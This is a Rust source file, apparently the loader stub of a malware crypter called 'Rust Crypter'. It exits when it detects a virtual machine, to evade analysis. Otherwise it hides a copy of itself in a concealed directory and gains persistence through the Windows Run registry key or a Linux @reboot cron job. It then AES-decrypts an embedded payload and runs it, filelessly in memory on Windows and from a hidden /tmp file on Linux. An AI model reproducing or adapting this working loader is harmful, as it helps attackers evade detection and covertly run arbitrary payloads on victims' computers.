use aes::cipher::{generic_array::GenericArray, BlockDecrypt, KeyInit};
use aes::Aes128;
use inside_vm::inside_vm;
use std::io::Result;
use std::io::{self, Cursor, Read};
use std::path::Path;
use std::process::Command;
use std::{env, fs};

#[cfg(windows)]
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
#[cfg(windows)]
use winreg::RegKey;

#[cfg(unix)]
use std::os::unix::fs::PermissionsExt;

fn main() {
    if inside_vm() {
        println!("This is in a vm");

        std::process::exit(0);
    } else {
        println!("NO VM");

        create_infected_directory();
        persistence();

        let pe_bytes = decrypt_file().unwrap();
        if let Err(e) = fileless(pe_bytes) {
            eprintln!("Failed to execute payload: {}", e);
        }
    }
}

fn decrypt_file() -> Result<Vec<u8>> {
    // Read encrypted bytes and store bytes of key :3
    let encrypted_bytes = include_bytes!("encrypted_Input.bin");
    let mut key_bytes: [u8; 16] = [0; 16];
    let mut key_file = Cursor::new(include_bytes!("key.txt"));
    key_file.read_exact(&mut key_bytes)?;

    // Gen cipher with the key B-)
    let key = GenericArray::from(key_bytes);
    let cipher = Aes128::new(&key);

    // Decrypt the encrypted bytes in blocks
    let mut decrypted_bytes = Vec::new();
    for block in encrypted_bytes.chunks(16) {
        let mut block_array = GenericArray::clone_from_slice(block);
        cipher.decrypt_block(&mut block_array);
        decrypted_bytes.extend_from_slice(&block_array);
    }

    // Unpad the decrypted bytes
    let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
    let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();

    // return decrypted bytes
    Ok(decrypted_bytes)
}

fn create_infected_directory() -> io::Result<()> {
    let infected_dir = get_infected_dir_path();
    fs::create_dir_all(&infected_dir)?;

    let current_exe = env::current_exe()?;
    let current_exe_filename = current_exe.file_name();

    let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
    fs::copy(&current_exe, &infected_exe_path)?;

    #[cfg(windows)]
    {
        Command::new("attrib")
            .arg("+h")
            .arg(infected_dir.as_os_str())
            .output()?;
        Command::new("attrib")
            .arg("+h")
            .arg(infected_exe_path.as_os_str())
            .output()?;
    }

    #[cfg(unix)]
    {
        // Hide files on Unix by removing read permissions for others
        let mut perms = fs::metadata(&infected_dir)?.permissions();
        perms.set_mode(0o700);
        fs::set_permissions(&infected_dir, perms)?;
        
        let mut perms = fs::metadata(&infected_exe_path)?.permissions();
        perms.set_mode(0o700);
        fs::set_permissions(&infected_exe_path, perms)?;
    }

    Ok(())
}

fn get_infected_dir_path() -> &'static Path {
    #[cfg(windows)]
    {
        Path::new("C:/Rust Crypter - INFECTED MACHINE")
    }
    #[cfg(unix)]
    {
        Path::new("/tmp/.rust-crypter-infected")
    }
}

fn persistence() -> io::Result<()> {
    #[cfg(windows)]
    {
        if let Ok(current_exe) = env::current_exe() {
            if let Some(file_name) = current_exe.file_stem() {
                let executable_name = file_name.to_string_lossy();
                let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
                let file_path = format!("{}{}.exe", directory_path, executable_name);

                // Open the "Run" registry key
                let hkcu = RegKey::predef(HKEY_CURRENT_USER);
                let run_key = hkcu.open_subkey_with_flags(
                    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                    KEY_ALL_ACCESS,
                )?;

                // Add the executable path to the "Run" registry key
                run_key.set_value("RustCrypter", &file_path).err();
            }
        }
    }

    #[cfg(unix)]
    {
        // Linux persistence using cron job
        if let Ok(current_exe) = env::current_exe() {
            let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display());
            
            // Add to user's crontab
            let output = Command::new("crontab")
                .arg("-l")
                .output();
                
            let mut cron_content = String::new();
            if let Ok(output_result) = output {
                if output_result.status.success() {
                    cron_content = String::from_utf8_lossy(&output_result.stdout).to_string();
                }
            }
            
            if !cron_content.contains("rust-crypter") {
                cron_content.push_str(&cron_entry);
                cron_content.push('\n');
                
                Command::new("sh")
                    .arg("-c")
                    .arg(&format!("echo '{}' | crontab -", cron_content))
                    .output()?;
            }
        }
    }

    Ok(())
}

fn fileless(bytes: Vec<u8>) -> std::result::Result<(), Box<dyn std::error::Error>> {
    #[cfg(windows)]
    {
        unsafe {
            memexec::memexec_exe(&bytes).unwrap();
        }
    }

    #[cfg(unix)]
    {
        // For Linux, write to temp file and execute
        use std::ffi::CString;
        
        let temp_path = "/tmp/.rust_payload";
        fs::write(temp_path, &bytes)?;
        
        // Make executable
        let mut perms = fs::metadata(temp_path)?.permissions();
        perms.set_mode(0o755);
        fs::set_permissions(temp_path, perms)?;
        
        // Execute
        let path_cstr = CString::new(temp_path)?;
        unsafe {
            libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::<libc::c_char>());
        }
    }

    Ok(())
}
